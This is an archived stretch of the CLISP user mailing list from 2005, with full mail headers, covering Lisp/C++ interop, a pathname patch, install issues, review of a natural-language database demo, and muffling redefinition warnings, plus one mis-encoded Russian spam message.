Apr 2005 16:40:15 +0000 (UTC) Thanks a lot everybody, it works now (obviously)!!! Andreas From sinergitized@yahoo.com Fri Apr 29 05:03:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DRUDn-0004u5-Vk for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 05:03:51 -0700 Received: from web52405.mail.yahoo.com ([206.190.39.113]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DRUDm-000561-9D for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 05:03:51 -0700 Received: (qmail 83054 invoked by uid 60001); 29 Apr 2005 12:03:44 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=Xq4qpnWiouWkddQGahRzeGsJuXVrjuh65+S/0Tn8vRATIUvCPXhuBYKjX7w6++mfhNTTy5VyFhj53DgLmZtexpr2raoV4xUw9r8iHXRJbPaQwqdi9mBXaeR3duIy8CaSU7x7i9Q0zSUxwbFgKUmuIE0/iRw2D1LAenGV1JVWLf8= ; Message-ID: <20050429120344.83052.qmail@web52405.mail.yahoo.com> Received: from [213.253.102.145] by web52405.mail.yahoo.com via HTTP; Fri, 29 Apr 2005 05:03:44 PDT From: Bojan "ÿffff8aernek" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] building a mixed clisp/c++ system Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 29 05:07:37 2005 X-Original-Date: Fri, 29 Apr 2005 05:03:44 -0700 (PDT) Hello, I'm a programmer toying around with a few ideas, and one of them is to use clisp and c++ together. I'd like to use clisp to describe the system's interfaces (objects) and so on and then use mixed method implementations (some in C++ and some in clisp) - linked together at runtime, with C++ code calling clisp code and vice versa. I'd like to enquire if anyone has any good ideas how to perform this? Thanks, Bojan. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From sds@gnu.org Fri Apr 29 06:57:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DRVzI-000325-Qv for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 06:57:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DRVzG-00031m-5d for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 06:57:00 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3TDuads011930; Fri, 29 Apr 2005 09:56:36 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Bojan =?utf-8?Q?=C3=BFffff8aernek?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050429120344.83052.qmail@web52405.mail.yahoo.com> (Bojan's message of "Fri, 29 Apr 2005 05:03:44 -0700 (PDT)") References: <20050429120344.83052.qmail@web52405.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bojan =?utf-8?Q?=C3=BF?= =?utf-8?Q?ffff8aernek?= Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: building a mixed clisp/c++ system Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 29 07:00:02 2005 X-Original-Date: Fri, 29 Apr 2005 09:56:06 -0400 Hi, > * Bojan =C3=BFffff8aernek [2005-04-29 05:03:44 -= 0700]: > > I'm a programmer toying around with a few ideas, and one of them is to > use clisp and c++ together. I'd like to use clisp to describe the > system's interfaces (objects) and so on and then use mixed method > implementations (some in C++ and some in clisp) - linked together at > runtime, with C++ code calling clisp code and vice versa. > > I'd like to enquire if anyone has any good ideas how to perform this? this may look scary, but it is really very easy to use. just look at, e.g., . --=20 Sam Steingold (http://www.podval.org/~sds) running w2k We're too busy mopping the floor to turn off the faucet. From sds@gnu.org Fri Apr 29 11:56:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DRafJ-0003im-Rc for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 11:56:41 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DRafH-0000iL-8T for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 11:56:41 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1DRafA-0002Ps-61 for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 11:56:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3TIZ0Dp021343; Fri, 29 Apr 2005 14:35:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050426011637.84D4D10FBF3@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Tue, 26 Apr 2005 03:16:37 +0200 (CEST)") References: <20050426011637.84D4D10FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: suggestion: load with logical pathname to a non-existant file. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 29 11:58:26 2005 X-Original-Date: Fri, 29 Apr 2005 14:34:30 -0400 > * Pascal J.Bourguignon [2005-04-26 03:16:37 +0200]: > > When there's not physical file corresponding to a logical pathname > given to LOAD, LOAD tries to consider the logical pathname as a > physical pathname, appends a "/" (why?) (OPEN "foo") errors out if we do (LOAD "foo") and both "foo.lisp" and "foo/" are present > and this gives a misleading error message: please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Takeoffs are optional. Landings are mandatory. --- init.lisp 26 Apr 2005 09:48:28 -0400 1.224 +++ init.lisp 29 Apr 2005 14:29:01 -0400 @@ -1504,7 +1504,10 @@ (bad last-p stream (TEXT "~S: compiled file ~A has a corrupt version marker ~S"))) (or (equal (system::version) (eval (second obj))) (bad last-p stream (TEXT "~S: compiled file ~A was created by an older CLISP version and needs to be recompiled")))))) - (setq filename (pathname filename) path filename) + (setq filename (pathname filename) + path (if (logical-pathname-p filename) + (translate-logical-pathname filename) + filename)) (unless (directory (string-concat (namestring path) "/")) (setq stream (my-open path))) (tagbody proceed From sds@gnu.org Fri Apr 29 12:07:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DRapO-0004Ii-2A for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 12:07:06 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DRapN-0001l1-Gf for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 12:07:05 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1DRapH-00037a-B3 for clisp-list@lists.sourceforge.net; Fri, 29 Apr 2005 12:07:05 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j3TIfUFX022340; Fri, 29 Apr 2005 14:41:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17005.37062.560417.518759@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Tue, 26 Apr 2005 02:52:22 +0200") References: <20050422150618.BD04B10FBF3@thalassa.informatimago.com> <17005.37062.560417.518759@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: pathname translation with 2.33.83 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 29 12:08:46 2005 X-Original-Date: Fri, 29 Apr 2005 14:41:00 -0400 > * Pascal J.Bourguignon [2005-04-26 02:52:22 +0200]: > > When I first set (logical-pathname-translations "PACKAGE"), > translate-logical-pathname doesn't work, but when I reset > (logical-pathname-translations "PACKAGE") with it's own "self-mangled" > value, it works. Ie. setting logical-pathname-translations with > pathnames made with MERGE-PATHNAMES makes the bug appear, but setting > it with #P paths doesn't. I think this is what causes your problem: (pathname-version (merge-pathnames "foo" "*.*")) ==> :NEWEST (pathname-version (merge-pathnames "foo" "*.*" nil)) ==> NIL (pathname-version #P"foo.*") ==> NIL -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. From mjm@cs.umu.se Sun May 01 03:58:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSC9j-0007zM-Be for clisp-list@lists.sourceforge.net; Sun, 01 May 2005 03:58:35 -0700 Received: from khan.acc.umu.se ([130.239.18.139] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DSC9h-0000GG-Ls for clisp-list@lists.sourceforge.net; Sun, 01 May 2005 03:58:35 -0700 Received: from localhost (localhost [127.0.0.1]) by amavisd-new (Postfix) with ESMTP id 1082DD20E for ; Sun, 1 May 2005 12:58:27 +0200 (MEST) Received: from mao.acc.umu.se (mao.acc.umu.se [130.239.18.154]) by khan.acc.umu.se (Postfix) with ESMTP id D6A63D221 for ; Sun, 1 May 2005 12:58:24 +0200 (MEST) Received: by mao.acc.umu.se (Postfix, from userid 3027) id 7DABD4671; Sun, 1 May 2005 12:58:24 +0200 (CEST) Received: from lgh160a.skogsbrynet.se (lgh160a.skogsbrynet.se [82.182.216.164]) by puss.acc.umu.se (IMP) with HTTP for ; Sun, 1 May 2005 12:58:24 +0200 Message-ID: <1114945104.4274b6506a7b1@puss.acc.umu.se> From: mjm@cs.umu.se To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 User-Agent: Internet Messaging Program (IMP) 3.2.2 X-Virus-Scanned: by amavisd-new at acc.umu.se Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 1 03:59:00 2005 X-Original-Date: Sun, 1 May 2005 12:58:24 +0200 Hi Guys CLISP is great, but on the 2.33.1 windows distribution should not lisp.exe be moved up fr= om the directory base to the main directory? See http://www.cs.umu.se/~mjm/step for what I am doing with clisp. Cheers, MM --=20 From lydia@sbs.siemens.co.uk Sun May 01 13:53:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSLRE-0003xK-Qo for clisp-list@lists.sourceforge.net; Sun, 01 May 2005 13:53:16 -0700 Received: from [63.103.129.13] (helo=63.103.129.13) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1DSLRA-0001aQ-Nf for clisp-list@lists.sourceforge.net; Sun, 01 May 2005 13:53:16 -0700 Message-ID: <493501c54e8d$cb3ae5af$c9e785c5@sbs.siemens.co.uk> From: =?iso-8859-1?B?8OXq6+Ds7e7lIODj5e3y8fLi7g==?= To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express V6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 2.5 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: [clisp-list] Re: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 1 13:53:56 2005 X-Original-Date: Sun, 01 May 2005 20:33:18 +0000 Ýëåêòðîííàÿ ðåêëàìíàÿ ðàññûëêà ýôôåêòèâíà çà ñ÷åò ñî÷åòàíèÿ íåâûñîêîé îáùåé ñòîèìîñòè è øèðîòû ðàñïðîñòðàíåíèÿ Âàøåé èíôîðìàöèè. (905) 2039072 (095) 1363041 292593973 - icq 8811.ws - ñàéò Àíàäûðñêîãî Àéãóíñêèì, Áàéòîâûé ÁÛÂØÅÉ, Àêöèîíåðíûé Àâòîíîìíàÿ From kavenchuk@jenty.by Mon May 02 04:19:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSYxE-0004vb-3Y for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 04:19:12 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DSYxC-0007L4-GV for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 04:19:12 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id K1K9RDJA; Mon, 2 May 2005 14:21:58 +0300 Message-ID: <42760CCC.7000902@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] cLisp uses GMP (self or sources)? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 2 04:19:27 2005 X-Original-Date: Mon, 02 May 2005 14:19:40 +0300 The Internet has not given the unequivocal answer. In the distribution kit I have not found indications. Thanks. -- WBR, Yaroslav Kavenchuk. From mjm@cs.umu.se Mon May 02 09:16:46 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSdbB-00078v-8k for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 09:16:45 -0700 Received: from khan.acc.umu.se ([130.239.18.139] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DSdb8-0005lK-ED for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 09:16:45 -0700 Received: from localhost (localhost [127.0.0.1]) by amavisd-new (Postfix) with ESMTP id 3B8F7D20A for ; Mon, 2 May 2005 18:16:38 +0200 (MEST) Received: from mao.acc.umu.se (mao.acc.umu.se [130.239.18.154]) by khan.acc.umu.se (Postfix) with ESMTP id 7C308D203 for ; Mon, 2 May 2005 18:16:35 +0200 (MEST) Received: by mao.acc.umu.se (Postfix, from userid 3027) id 1AA0C4A1B; Mon, 2 May 2005 18:16:35 +0200 (CEST) Received: from kant.cs.umu.se (kant.cs.umu.se [130.239.40.147]) by puss.acc.umu.se (IMP) with HTTP for ; Mon, 2 May 2005 18:16:35 +0200 Message-ID: <1115050595.427652630e032@puss.acc.umu.se> From: mjm@cs.umu.se To: clisp-list@lists.sourceforge.net References: <1114945104.4274b6506a7b1@puss.acc.umu.se> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 User-Agent: Internet Messaging Program (IMP) 3.2.2 X-Virus-Scanned: by amavisd-new at acc.umu.se Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: A bug in the 2.33.1 windows intallation? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 2 09:30:21 2005 X-Original-Date: Mon, 2 May 2005 18:16:35 +0200 >=20 > lisp.exe is just the run time, you should never invoke it directly. I know, I know, but I had to move it up from the directory "base" when installing yesterday on the PC. CLISP didn't run out of the box as it had before. You might want to check the status of the tar on source forge. > > See http://www.cs.umu.se/~mjm/step > cool! >=20 > note that your database gives many absurdly wrong answers, you might > want to check your sources. I know. It actually isn't my database - I got it off the web. As a geogra= phy buff I cringe everytime it give wrong answers. I just don't have time to correct it. In the future I will allow users to type in corrections throu= gh the interface in NL.=20 Have you ever seen a relational database with high quality data? >=20 > e.g., "According to the database, the 5 countries with a significant > number of people being the Whites named Jewish are Israel, Moldova, > Morocco, Tunisia and Ukraine." - there are virtually no Jews in either > Morocco or Tunisia (they all were expelled 55 years ago). I think that the Tunisian Jews are help up as rare example of mutual Jewi= sh-Arab tolerance in the middle east, so they tend to get a lot of mention. > Check >=20 > "There is no ethnic group named Jews in the database." - this is the > Soviet version of ethnography. Ok I can correct this one. This is the fault of STEP/WordNet >=20 > "list the indo-european languages " =3D=3D> no Ukranian, no Polish?! > the only Slavic language is Russian! My fault again. You can see this in the configuration file world.lisp tha= t I provide on my web-site >=20 > an example was "countries following Atheism" - result " There is no > religion named Atheism in the database. " This is there to show the reporting of false presuppositions. > " According to the database, the 77 countries where a significant numbe= r > of people believe in the Islamic religions are ..." - it would be nice > to have a reference of what constitutes "a significant number". Yes. I am looking for better wording here. >=20 > "List Cities in Soviet Union" =3D=3D> "The database does not contain a = city > of North, of the province of Russia, named North. " >=20 My fault. The system is a little flaky. This should be easy to patch howe= ver. > "List Cities in Russia, with population" =3D=3D> > " Do you want the cities of Russia, of the states? =20 > Do you want the cities of Russia? " > both options give the same list, but without population. Natural language processing is hard... >=20 > "Which countries border countries which border countries with followers > of Islam " =3D=3D> hangs Actually this will work. Full recursive attachment does not work yet, tho= ugh it will soonish... > it would be nice is the number were formatted with "~:D". Good point. >=20 > it's _very_ nice that you keep the history of answers, > but you should add the history of _questions_ too. Another good point >=20 > you don't mention CLISP on that page, although the response > " There is no NIL NIL NIL NIL NIL in the database. " LOL. Actually the configuration file does too.=20 Cheers, MM From lisp-clisp-list@m.gmane.org Mon May 02 09:27:41 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DSdll-0007Yp-Dd for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 09:27:41 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DSdlj-00071F-RW for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 09:27:41 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1DSdeh-0007RM-IO for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 18:20:24 +0200 Received: from fw.npc.de ([62.225.140.214]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 02 May 2005 18:20:23 +0200 Received: from jschrod by fw.npc.de with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 02 May 2005 18:20:23 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Joachim Schrod Lines: 36 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: fw.npc.de User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en X-Spam-Score: -0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Make CLISP silent on method redefinitions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 2 09:42:27 2005 X-Original-Date: Mon, 02 May 2005 18:13:22 +0200 Hi, I'm trying to update an old CL source (written back in 1995...) to CLISP 2.33.2. It has a construct that boils down to (defgeneric bar ()) (defmethod bar () (print "bar")) (handler-bind ((warning #'muffle-warning)) (defmethod bar () (print "bar"))) CLISP outputs WARNING: DEFMETHOD: redefining method (BAR NIL) in /shared/home/schrod/src/xindy/xindy-src-2.2-rc2/test/try.lsp, was defined in top-level (The code itself is actually buried in macros that construct that defmethod.) Incidentially, when I try (defgeneric foo (a)) (defmethod foo (a) (print "foo")) (handler-bind ((warning #'muffle-warning)) (defmethod foo (a) (print "foo"))) redefinition warnings are suppressed. How can I also suppress warnings in the first case? Any guidance or tips are very much appreciated, Joachim -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Joachim Schrod Email: jschrod@acm.org Roedermark, Germany From sds@gnu.org Mon May 02 07:53:31 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DScId-0003us-3S for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 07:53:31 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DScIa-0004Al-1S for clisp-list@lists.sourceforge.net; Mon, 02 May 2005 07:53:30 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j42EOuxm019522; Mon, 2 May 2005 10:24:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, mjm@cs.umu.se Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1114945104.4274b6506a7b1@puss.acc.umu.se> (mjm@cs.umu.se's message of "Sun, 1 May 2005 12:58:24 +0200") References: <1114945104.4274b6506a7b1@puss.acc.umu.se> Mail-Followup-To: clisp-list@lists.sourceforge.net, mjm@cs.umu.se Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: 